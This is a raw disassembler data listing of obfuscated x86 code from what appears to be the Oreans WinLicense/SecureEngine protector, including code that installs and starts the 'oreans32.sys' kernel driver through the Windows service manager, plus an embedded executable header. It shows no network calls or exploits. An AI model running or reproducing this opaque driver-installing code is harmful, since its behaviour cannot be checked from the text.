0ADC44633h, 72E96F2Ch, 0ACC23667h, 76EA6E2Fh dd 507C3469h, 0FE9D2892h, 4C6F1C12h, 6673EB15h, 5AED098Bh dd 0A937974Fh, 1501DEE5h, 5F7D7D9h, 9C2B7069h, 6B795515h dd 12FEA467h, 36AA494Fh, 0B9579A3Fh, 0A2BB2E47h, 0B638BC37h dd 93535AE5h, 0A427A53Bh, 8D1312FEh, 617EF266h, 0C2DF536Dh dd 6F558B2Fh, 6B12FEA4h, 0DC55AB45h, 1ABA39BDh, 4E4F48E4h dd 0EA09968Ah, 63C08278h, 0EDEA8671h, 0CD2F6B0h, 12FEA4A6h dd 0A4CCF6ACh, 26C812FEh, 80FAFA9Ch, 0E914C5ECh, 680F0D63h dd 8B8F233h, 0AA44B3E7h, 1B5CD547h, 0FF273F85h, 3BB53B12h dd 0E9DB48B8h, 895021Eh, 31C0D950h, 3CE9DBC1h, 36338B48h dd 25EE5D1Dh, 41D8F67h, 0D9500895h, 6729EA92h, 0BF2CECBh dd 777A7417h dd 5E6E6B05h, 28B6C15Ch, 12FEB6A2h, 13DE1096h, 0EEDE6591h dd 0ADC4B79Dh, 75E96F2Ch, 2520606Ch, 1F784896h, 0F28201F5h dd 9B0D6606h, 0E0C6F6BEh, 0F5211B4Dh, 7E445A72h, 7A6AF223h dd 41338074h, 801DBAB6h, 787B64F8h, 856C6D04h, 0DB546620h dd 0FBE936BEh, 1A831C10h, 5C9B4C34h, 3AE2B5EAh, 852C40BAh dd 0B7569623h, 8F0820CBh, 11849F61h, 3C8714DFh, 0E33A6864h dd 1963BF67h, 6E390697h, 0F48816B6h, 125C90B4h, 8C6770E8h dd 0DB6D88DAh, 1ED0EB43h, 6B8628D6h, 1F7C65F9h, 15DCC559h dd 0E0802587h, 4A741A73h, 0E12EC6D3h, 8B1408F3h, 0C5D24E12h dd 13A2BA2Eh, 0DE7FE7CDh, 0D78FE393h, 58C43604h, 0AE45AB45h dd 62674DBEh, 88527826h, 0A04693DEh, 5946DA54h, 0A6D54B75h dd 0DE88D2F8h, 0CE20C693h, 7855A123h, 80736C00h, 396h dd 844FF700h, 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h dd 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh dd 1BF3685Dh, 4890000h, 50AD6824h, 3C890000h, 0E3895324h dd 4C381h, 0EB810000h, 4, 5C241C87h, 68242C89h, 9379E21h dd 81243C8Bh, 4C4h, 2C8B5400h, 4C48324h, 51F98951h, 5908458Fh dd 57242C8Bh, 0C781E789h, 4, 4C781h, 3C870000h, 3C8B5C24h dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 0FDD83BE9h dd 0CAA5F8FFh, 6144B347h, 0A3F2BEB3h, 0A627B89Fh, 0C5030937h dd 5E71E0FFh, 23CF25DEh, 1B5D222Bh, 1B2B1CB2h, 0CB112425h dd 0E52936E2h, 4D5933B9h, 37934B6Ch, 786A1649h, 0D3A3BF1h dd 0F95E4D0Eh, 43D00952h, 0C9601FC5h, 500926D2h, 0E1555D1Fh dd 3A223D74h, 7583D99h, 0D7961A44h, 4378689Bh, 0D77643F8h dd 76AD1460h, 0CBEB7E5Dh, 0A6BC0F1Bh, 0F21F32A3h, 4472237Eh dd 72E90AD7h, 60000000h, 41DBD83h, 0F000935h, 584h, 5DE900h dd 6A0000h, 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 858D006Ah dd 9351E11h, 24048950h, 6A965096h, 0A195FF00h, 61093525h dd 9D85C6C3h, 4D093517h, 4E8h, 3576A800h, 448B50A4h, 8B0424h dd 4244489h, 7DB5FF58h, 8D093505h, 35389885h, 89D0FF09h dd 3525A185h, 5C1EEB09h, 535C2E5Ch, 454349h, 5C2E5C5Ch dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 8BC08B00h dd 3527618Dh, 0A1BD8309h, 93526h, 0BD830975h, 9353079h dd 50197400h, 0B8C08B53h, 40Fh, 2AC18589h, 9D8D0935h, 937B438h dd 585BD3FFh, 3079BD83h, 74000935h, 0B8535017h, 40Fh, 2AC18589h dd 9D8D0935h, 937B127h, 585BD3FFh, 0D598D03h, 0DD800935h dd 89C08B0Bh, 350F0DB5h, 12E909h, 2E3C0000h, 0EDFDEB2Ch dd 0E1831778h, 0B5723902h, 0ED54F972h, 179D85C6h, 6A430935h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0C43CC355h, 6C2C298Ah, 0E09B58Bh, 8B660935h dd 95B58BF1h, 0E809352Ch, 4, 0BC8E6EFCh, 0F5055B5h, 83h dd 24448B00h, 97BA6604h, 0E9008B1Dh, 13h, 0FC30B83Fh, 0C46BF375h dd 0DFA7538Bh, 0A2A8277Dh, 89BB1C7Ch, 8B042444h, 9D0158FEh dd 9350C51h, 0EC9B5FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 28C903C3h, 0EE80A732h dd 98858D8Eh, 0F093538h, 688h, 0FDB58B00h, 8B093503h, 6AD0FFF9h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 2129C356h, 4A619D35h, 0BEFC052Dh, 8340B6Eh dd 0BB666050h, 896193C9h, 81662404h, 6A9555C1h, 0E8F28B00h dd 4, 80h, 24448B50h, 11E804h, 9A4A0000h, 0CB3C18D9h, 90D78930h dd 76413D18h, 5A598054h, 0BF66008Bh, 4489C826h, 9E80424h dd 89000000h, 2CCFDA93h, 99442B9Ah, 5859D68Bh, 0BE860h dd 0CBF70000h, 9640FC2Dh, 7E8EA30h, 840F98h, 5B000000h dd 0B89ABF66h, 6A036A61h, 898D8B00h, 6A093516h, 12E903h dd 6C470000h, 0D33BBEBAh, 2460D564h, 43AB19A8h, 9490A37Dh dd 1B25D668h, 3E51B970h, 48126E0h, 0E4DA2A24h, 57006A4Fh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0B595A243h, 533B3EFBh, 0A18D3157h, 8D09352Ch, 37A7BD9Dh dd 178E0F09h, 0E9000000h, 12h, 93C61745h, 0BFD99B29h, 31ED8C8Bh dd 743E4A28h, 50FC2E3Fh, 1C8954B1h, 6830F24h, 31000000h dd 35243DB5h, 33D0FF09h, 35037D8Dh, 850F4009h, 24Eh, 58F2B70Fh dd 39E28166h, 10E96Fh, 0D5C10000h, 0B4DF687Bh, 0CC155A86h dd 7199CCFEh, 8950E404h, 0B5892404h, 9352571h, 2361BD89h dd 6A0935h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0A8C35040h, 6802CA3Eh, 0D3208490h, 0F0240481h dd 6A2CDF7Bh, 53006A03h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 8B66AE12h, 66006AFBh, 36AD18Bh, 2EF58D0Bh dd 4680935h, 60F44F1Bh, 0E427B860h, 66B87FBDh, 614CB1EFh dd 61C68B66h, 4243481h, 66344F1Bh, 8D0D3CBEh, 37A7C69Dh dd 0D1B58B09h, 89093505h, 3524BDB5h, 8B669309h, 59BF50F9h dd 93456E8Bh, 0A358D09h, 0D0FF0935h, 880Fh, 0F400000h dd 17185h, 598D0300h, 6009350Bh, 0B1BD8B53h, 5809350Eh dd 61CE8B66h, 8F0F6058h, 6, 1D4DBD23h, 89610935h, 350625B5h dd 0BE665009h, 489D855h, 6A006A24h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 4D82C355h dd 288DBD8Bh, 46680935h, 0E9A1308Ah, 0Bh, 0E4D67487h, 47BB9398h dd 8113B49Ah, 763A2404h, 0B70F5ECFh, 6A036AD6h, 0FDBD8B00h dd 6A09352Bh, 15958B03h, 0E8093526h, 4, 0C0000000h, 5050F38Bh dd 5727BA52h, 310F46FBh, 4820Fh, 0BA660000h, 585AEB61h dd 424448Bh, 42B9008Bh, 894DA181h, 50042444h, 81BF6652h dd 66310F9Fh, 585ACF8Bh, 0E18D8958h, 8D09352Ch, 37A7D19Dh dd 38B55109h, 5250505Ah, 890Fh, 310F0000h, 1C89585Ah, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0A0043D6Dh, 0A571E824h, 0B58925F9h, 9350D21h, 8BC8B70Fh dd 352F41B5h, 0E9D0FF09h, 11h, 66CC3D65h, 0A71A9957h, 0DF9A483Ch dd 610CB1B6h, 850F402Bh, 3Ah, 68E0Fh, 8D8B0000h, 9352261h dd 0D1858958h, 0E9093523h, 0F9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 8BC35545h, 1099B58Bh, 0D88B0935h dd 0E2ADC981h, 0E84B2E88h, 8, 0E283C274h, 0E3680FFCh, 74ABB966h dd 85C6585Ah, 935179Dh, 66FB8B43h, 68B316BEh, 4735B929h dd 5E8h, 0E5475C00h, 0D78B7D87h, 2404815Fh, 7940917Eh dd 0D4E4BA66h, 8E8h, 9213EF00h, 0D5BB694Bh, 38B0FBDh, 66000000h dd 0FF59F78Bh, 350EC9B5h, 6D9D8909h, 8D09352Eh, 35389885h dd 0C18D8B09h, 0FF09351Dh dd 51006AD0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 43C16182h, 0CB6C6613h, 2331958Bh, 8A500935h dd 241C89CCh, 321DB589h, 0D0FF0935h, 0F31BD03h, 9D8D0935h dd 9357099h, 6E9h, 1AAC0E00h, 0B8FC07FCh, 1, 12A18529h dd 0E3FF0935h, 50D98166h, 80C18BB3h, 0C08B69C1h, 7E8h dd 0DDC77600h, 0C5D42F64h, 1DED9D89h, 835F0935h, 3526A1BDh dd 9750009h, 3079BD83h, 74000935h, 8B535019h, 40FB8C0h dd 85890000h, 9352CA9h, 0B49F9D8Dh, 0D3FF0937h, 0BD83585Bh dd 9353079h, 50177400h, 40FB853h, 85890000h, 9352CA9h dd 0B1409D8Dh, 0D3FF0937h, 880F585Bh, 6, 245DB589h, 0BF0F0935h dd 0E8C08BFAh, 10h, 3E299CD1h, 83C3CA59h, 9C0B6EEDh, 19F47F6Bh dd 4E98160h, 0E930B9F3h, 12h, 0B1D5D7F4h, 7AF66191h, 0BEBCFC29h dd 71FC4CC5h, 5F618431h, 81F2D680h, 6C7AC7h, 0D0B70F00h dd 91FBEDB9h, 0FEC1811Ah, 8BE56E1Eh, 352E4585h, 8037FF09h dd 295E1EDCh, 352E31B5h, 4EEE8109h, 9176D25h, 3517519Dh dd 2EE8109h, 8B78E761h, 3531AD9Dh, 0B0C68109h, 8B4A954Fh dd 35003995h, 858B5609h, 9351B25h, 0E28A078Fh, 8004EF83h dd 0E98102F6h, 1, 13850Fh, 81660000h, 0E965D7EAh, 2Eh dd 21041C97h, 12B1848Ah, 11E902h, 0EBEC0000h, 2170223Dh dd 0E95150BEh, 1C26E8C3h, 0E90BC045h, 0FFFFFF85h, 5F8F12ECh dd 59E83CC7h, 0AAE9C2CCh, 53000000h, 7774666Fh, 5C657261h dd 4C6E6957h, 6E656369h, 43006573h, 6B636568h, 58004E49h dd 746F7270h, 74697845h, 65684300h, 554F6B63h, 69570054h dd 63694C6Eh, 65736E65h, 73726556h, 6E6F69h, 4C6E6957h dd 6E656369h, 72446573h, 72657669h, 73726556h, 6E6F69h dd 4C6E6957h, 6E656369h, 6E496573h, 6E617473h, 45006563h dd 4F746978h, 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h dd 69784500h, 4E4974h, 74697845h, 54554Fh, 4E497054h, 3 dup(0) dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h, 937AF5Bh dd 0AF57858Dh, 8D500937h, 37AEC185h, 1685009h, 0FF800000h dd 37AF6795h, 0FF196A09h, 37AF5BB5h, 6A016A09h, 0F0858D00h dd 500937AEh, 0AF57B5FFh, 95FF0937h, 9350325h, 0AF57B5FFh dd 95FF0937h, 937AF63h, 0AF57B5FFh, 95FF0937h, 9351AEDh dd 5B8589C3h, 8D0937AFh, 37AF5785h, 858D5009h, 937AEC1h dd 16850h, 95FF8000h, 937AF67h, 858D046Ah, 937AF5Bh, 6A046A50h dd 1A858D00h, 500937AFh, 0AF57B5FFh, 95FF0937h, 9350325h dd 0AF57B5FFh, 95FF0937h, 937AF63h, 0AF57B5FFh, 95FF0937h dd 9351AEDh, 5B8589C3h, 8D0937AFh, 37AF5785h, 858D5009h dd 937AEC1h, 16850h, 95FF8000h, 937AF67h, 858D046Ah, 937AF5Bh dd 6A046A50h, 2858D00h, 500937AFh, 0AF57B5FFh, 95FF0937h dd 9350325h, 0AF57B5FFh, 95FF0937h, 937AF63h, 0AF57B5FFh dd 95FF0937h, 9351AEDh, 5B8589C3h, 8D0937AFh, 37AF5785h dd 858D5009h, 937AEC1h, 16850h, 95FF8000h, 937AF67h, 858D046Ah dd 937AF5Bh, 6A046A50h, 2D858D00h, 500937AFh, 0AF57B5FFh dd 95FF0937h, 9350325h, 0AF57B5FFh, 95FF0937h, 937AF63h dd 0AF57B5FFh, 95FF0937h, 9351AEDh, 5B8589C3h, 8D0937AFh dd 37AF5785h, 858D5009h, 937AEC1h, 16850h, 95FF8000h, 937AF67h dd 858D046Ah, 937AF5Bh, 6A046A50h, 0DD858D00h, 500937AEh dd 0AF57B5FFh, 95FF0937h, 9350325h, 0AF57B5FFh, 95FF0937h dd 937AF63h, 0AF57B5FFh, 95FF0937h, 9351AEDh, 69BD83C3h dd 9351Ch, 0B840Fh, 9D8B0000h, 9351C69h, 894CC383h, 0BD83C303h dd 9351C69h, 0B840F00h, 8B000000h, 351C699Dh, 50C38309h dd 83C30389h, 351C69BDh, 840F0009h, 0Bh, 1C699D8Bh, 0C3830935h dd 0C3038954h, 1C69BD83h, 0F000935h, 0B84h, 699D8B00h dd 8309351Ch, 38958C3h, 69BD83C3h, 9351Ch, 0B840Fh, 9D8B0000h dd 9351C69h, 895CC383h, 60C3C303h, 0AF5B8589h, 858D0937h dd 937AF57h, 0C1858D50h, 500937AEh, 168h, 6795FF80h, 6A0937AFh dd 5B858D04h, 500937AFh, 6A046Ah, 0AF52858Dh, 0FF500937h dd 37AF57B5h, 2595FF09h, 83093503h, 3526A1BDh, 840F0009h dd 0Ch, 0AF57B5FFh, 95FF0937h, 937AF63h, 0AF57B5FFh, 95FF0937h dd 9351AEDh, 8960C361h, 37AF5B85h, 57858D09h, 500937AFh dd 0AEC1858Dh, 68500937h, 80000001h, 0AF6795FFh, 46A0937h dd 0AF5B858Dh, 6A500937h, 8D006A04h, 37AF3485h, 0B5FF5009h dd 937AF57h, 32595FFh, 0BD830935h, 93526A1h, 0C840F00h dd 0FF000000h, 37AF57B5h, 6395FF09h, 0FF0937AFh, 37AF57B5h dd 0ED95FF09h, 6109351Ah, 858960C3h, 937AF5Bh, 0AF57858Dh dd 8D500937h, 37AEC185h, 1685009h, 0FF800000h, 37AF6795h dd 8D046A09h, 37AF5B85h, 46A5009h, 858D006Ah, 937AF3Bh dd 57B5FF50h, 0FF0937AFh, 35032595h, 0A1BD8309h, 93526h dd 0C840Fh, 0B5FF0000h, 937AF57h, 0AF6395FFh, 0B5FF0937h dd 937AF57h, 1AED95FFh, 0C3610935h, 5B858960h, 8D0937AFh dd 37AF5785h, 858D5009h, 937AEC1h, 16850h, 95FF8000h, 937AF67h dd 858D046Ah, 937AF5Bh, 6A046A50h, 43858D00h, 500937AFh dd 0AF57B5FFh, 95FF0937h, 9350325h, 26A1BD83h, 0F000935h dd 0C84h, 57B5FF00h, 0FF0937AFh, 37AF6395h, 57B5FF09h dd 0FF0937AFh, 351AED95h, 60C36109h, 0AF5B8589h, 858D0937h dd 937AF57h, 0C1858D50h, 500937AEh, 168h, 6795FF80h, 6A0937AFh dd 5B858D04h, 500937AFh, 6A046Ah, 0AF4A858Dh, 0FF500937h dd 37AF57B5h, 2595FF09h, 83093503h, 3526A1BDh, 840F0009h dd 0Ch, 0AF57B5FFh, 95FF0937h, 937AF63h, 0AF57B5FFh, 95FF0937h dd 9351AEDh, 0C760C361h, 37AF5B85h, 109h, 57858D00h, 500937AFh dd 0AEC1858Dh, 68500937h, 80000002h, 0AF6795FFh, 0C00B0937h dd 0F840Fh, 85C70000h, 937AF5Bh, 0 dd 4DE9h, 8D046A00h, 37AF5B85h, 46A5009h, 858D006Ah, 937AED5h dd 57B5FF50h, 0FF0937AFh, 35032595h, 0FC00B09h, 0F84h dd 5B85C700h, 937AFh, 0E9000000h, 0Ah, 0AF5B85C7h, 10937h dd 0B5FF0000h, 937AF57h, 1AED95FFh, 8B610935h, 37AF5B85h dd 8960C309h, 37AF5B85h, 57858D09h, 500937AFh, 0AEC1858Dh dd 68500937h, 80000001h, 0AF6795FFh, 46A0937h, 0AF5B858Dh dd 6A500937h, 8D006A04h, 37AED585h, 0B5FF5009h, 937AF57h dd 32595FFh, 0BD830935h, 93526A1h, 0C840F00h, 0FF000000h dd 37AF57B5h, 6395FF09h, 0FF0937AFh, 37AF57B5h, 0ED95FF09h dd 6109351Ah, 858960C3h, 937AF5Bh, 0AF57858Dh, 8D500937h dd 37AEC185h, 1685009h, 0FF800000h, 37AF6795h, 8D046A09h dd 37AF5B85h, 46A5009h, 858D006Ah, 937AEE7h, 57B5FF50h dd 0FF0937AFh, 35032595h, 0A1BD8309h, 93526h, 0C840Fh dd 0B5FF0000h, 937AF57h, 0AF6395FFh, 0B5FF0937h, 937AF57h dd 1AED95FFh, 0C3610935h, 179D85C6h, 68520935h, 0ADE47B07h dd 2621B5FFh, 95FF0935h, 9352821h, 0AF678589h, 85C60937h dd 935179Dh, 0E56852h, 0B5FF902Eh, 9352621h, 282195FFh dd 85890935h, 937AF63h, 179D85C6h, 68520935h, 0B9BF1235h dd 2621B5FFh, 95FF0935h, 9352821h, 3258589h, 85C60935h dd 935179Dh, 10346852h, 0B5FF9878h, 9352621h, 282195FFh dd 85890935h, 9351AEDh, 179D85C6h, 68520935h, 0C005DBD4h dd 2621B5FFh, 95FF0935h, 9352821h, 1EFD8589h, 99E90935h dd 2F000000h, 63677562h, 6B636568h, 622F0032h, 68636775h dd 6B6365h, 726F662Fh, 75726563h, 622F006Eh, 68636775h dd 666B6365h, 6C6C75h, 6F68732Fh, 646F6377h, 732F0065h dd 63776F68h, 3265646Fh, 6C632F00h, 2F007472h, 31736964h dd 68732F00h, 6E69776Fh, 6E617473h, 2F006563h, 77746567h dd 6174736Ch, 737574h, 676F6C2Fh, 74617473h, 2F007375h dd 706D7564h, 74617473h, 7375h, 2F000000h, 63656863h, 6F72706Bh dd 74636574h, 6E6F69h, 0 aG7 db '┐╫!╤7',9,0 db 0Fh dd 0A84h, 7985C700h, 1093530h, 0C6000000h, 35179D85h, 4E84709h dd 8D000000h, 50906D6Ch, 424448Bh, 4489008Bh, 0FF580424h dd 350EC9B5h, 98858D09h, 0FF093538h, 8BD0FFD0h, 223F80F8h dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h dd 31884h, 3F804700h, 0E840F00h, 0E9000003h, 1Eh, 0F003F80h dd 30084h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h dd 3F80FFFFh, 5850F00h, 0E9000000h, 2DDh, 1E9h, 3F804700h dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5, 2C0E9h, 0AE800h dd 0CBE90000h, 0E9FFFFFFh, 2B1h, 0B5A1B58Dh, 25E80937h dd 3000002h, 37B636BDh, 36BD8309h, 937B6h, 0B840Fh, 85C70000h dd 93526A1h, 1, 0ACB58DC3h, 0E80937B5h, 1FCh, 0B636BD03h dd 0BD830937h, 937B636h, 0B840F00h, 0C7000000h, 35307985h dd 109h, 0B58DC300h, 937B625h, 1D3E8h, 36BD0300h, 830937B6h dd 37B636BDh, 840F0009h, 0Bh, 41D85C7h, 10935h, 8DC30000h dd 37B5B6B5h, 1AAE809h, 0BD030000h, 937B636h, 0B636BD83h dd 0F000937h, 0B84h, 7985C700h, 1093530h, 0C3000000h, 0B5C0B58Dh dd 81E80937h, 3000001h, 37B636BDh, 36BD8309h, 937B6h, 15840Fh dd 85C70000h, 9353079h, 1, 26A185C7h, 10935h, 8DC30000h dd 37B5CEB5h, 14EE809h, 0BD030000h, 937B636h, 0B636BD83h dd 0F000937h, 0A84h, 9585C700h, 109350Dh, 8D000000h, 37B5D8B5h dd 126E809h, 0BD030000h, 937B636h, 0B636BD83h, 0F000937h dd 0A84h, 9585C700h, 109350Dh, 8D000000h, 37B5E3B5h, 0FEE809h dd 0BD030000h, 937B636h, 0B636BD83h, 0F000937h, 0A84h dd 8585C700h, 1093507h, 8D000000h, 37B5E9B5h, 0D6E809h dd 0BD030000h, 937B636h, 0B636BD83h, 0F000937h, 0A84h dd 2185C700h, 109351Ch, 8D000000h, 37B5EFB5h, 0AEE809h dd 0BD030000h, 937B636h, 0B636BD83h, 0F000937h, 0A84h dd 985C700h, 1093523h, 8D000000h, 37B5FDB5h, 86E809h, 0BD030000h dd 937B636h, 0B636BD83h, 0F000937h, 0A84h, 0A585C700h dd 109352Dh, 8D000000h, 37B60AB5h, 5EE809h, 0BD030000h dd 937B636h, 0B636BD83h, 0F000937h, 0A84h, 5585C700h, 1093528h dd 8D000000h, 37B615B5h, 36E809h, 0BD030000h, 937B636h dd 0B636BD83h, 0F000937h, 0A84h, 0C585C700h, 1093524h dd 0E9000000h, 1, 203F8047h, 9840Fh, 3F800000h, 0ED850F00h dd 0C3FFFFFFh, 1B960h, 0DE8B0000h, 19E9h, 3F8000h, 2850Fh dd 0C92B0000h, 1638178Ah, 2840Fh, 0C92B0000h, 3E804746h dd 8840F00h, 0B000000h, 0D6850FC9h, 0BFFFFFFh, 21840FC9h dd 80000000h, 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h dd 0B9000000h, 0 dd 840FC90Bh, 0Dh, 0B589F32Bh, 937B636h, 0AE9h, 3685C700h dd 937B6h, 61000000h, 0E8C88BC3h, 9, 5453AADAh, 0CFD6E18Fh dd 953159E8h, 9352A7Dh, 5E6EC181h, 4EB00000h, 177168h dd 958B5000h, 935265Dh, 0BF0F5E5Ah, 8031FFD7h, 665F25E4h dd 0F781D88Bh, 155FD017h, 0D98D8960h, 52093529h, 2AC5BD8Bh dd 61580935h, 0ABB5F781h, 0BE83E3Eh, 0F1000000h, 6AF7BFB5h dd 3E455A96h, 3CB255DDh, 85C7815Ah, 0E96D8BBDh, 0Dh, 0B684916Ah dd 0A40A1678h, 3B95B005h, 8B398900h, 35089185h, 2DE98109h dd 231282A0h, 352F0995h, 29C18109h, 891282A0h, 3511A195h dd 1EE8109h, 0F000000h, 0FFFF8485h, 3810FFFh, 80000000h dd 0EE955E3h, 33000002h, 6E6E6143h, 7720746Fh, 65746972h dd 65726F20h, 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h dd 74206572h, 20746168h, 73696874h, 6C696620h, 73692065h dd 746F6E20h, 69656220h, 7520676Eh, 20646573h, 61207962h dd 68746F6Eh, 70207265h, 72676F72h, 2E6D61h, 67h dup(0) dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 0EFE900h, 85C60000h, 935179Dh, 5B866847h, 0B5FFE3E4h dd 9350EC9h, 3898858Dh, 0D0FF0935h, 10468h, 0D99D8D00h dd 53093512h, 8D50D0FFh, 37BC65B5h, 32FE8B09h, 850FAEC0h dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 35179D85h dd 0FC684309h, 0FFBC8E6Eh, 350EC9B5h, 98858D09h, 0FF093538h dd 0D9B58DD0h, 6A093512h, 806800h, 26A0000h, 6A006Ah, 68h dd 0D0FF56C0h, 85C6D88Bh, 935179Dh, 0EE566857h, 0B5FFA69Bh dd 9350EC9h, 3898858Dh, 0D0FF0935h, 439BD8Dh, 8D8D0935h dd 937BD8Bh, 6857006Ah, 37D0h, 0D0FF5351h, 850FC085h, 1Bh dd 0BA6DB58Dh, 858D0937h, 937A719h, 8D8DD0FFh, 9357099h dd 0B8h, 0C6E1FF00h, 35179D85h, 0A7684309h, 0FFC0764Ah dd 350EC9B5h, 98858D09h, 0FF093538h, 0D0FF53D0h, 37D0B9C3h dd 0E80000h, 58000000h, 890EC083h, 2E908h, 0C38B0000h dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0 dd offset dword_450050+4BB0h dd 0 dd 4000200h, 0 dd 3800000h, 1400h, 4 dup(0) dd 20000h, 1C000h, 9000h, 0 dd 7E00h, 0 dd 0C400h, 100h, 0DC00h, 3 dup(0) dd 12C00h, 13800h, 2 dup(0) dd 14200h, 19600h, 1D200h, 0 dd 1D200h, 0 dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0) dd 27C004h, 0 dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h dd 300h, 0 dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h dd 16B0007h, 277101h, 360h dup(0) dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0) dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h dd 9C3h dup(0) dd 1BE88300h, 7309F883h, 8524FF07h, 0 dd 0C3F8h, 8 dup(0) dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 10A9E900h, 44410000h dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0) aOreans32_sys db 'oreans32.sys',0 align 4 dd 0 dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0 dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0) aSystemroot db 'SYSTEMROOT',0 aSSystem32Drive db '%s\system32\drivers\%s',0 aSSyswow64Drive db '%s\syswow64\drivers\%s',0 aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0 align 10h dd 48h dup(0) dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h dd 72676F72h, 2E6D61h, 59h dup(0) dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0) dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0) dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0) dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0) dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0) dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 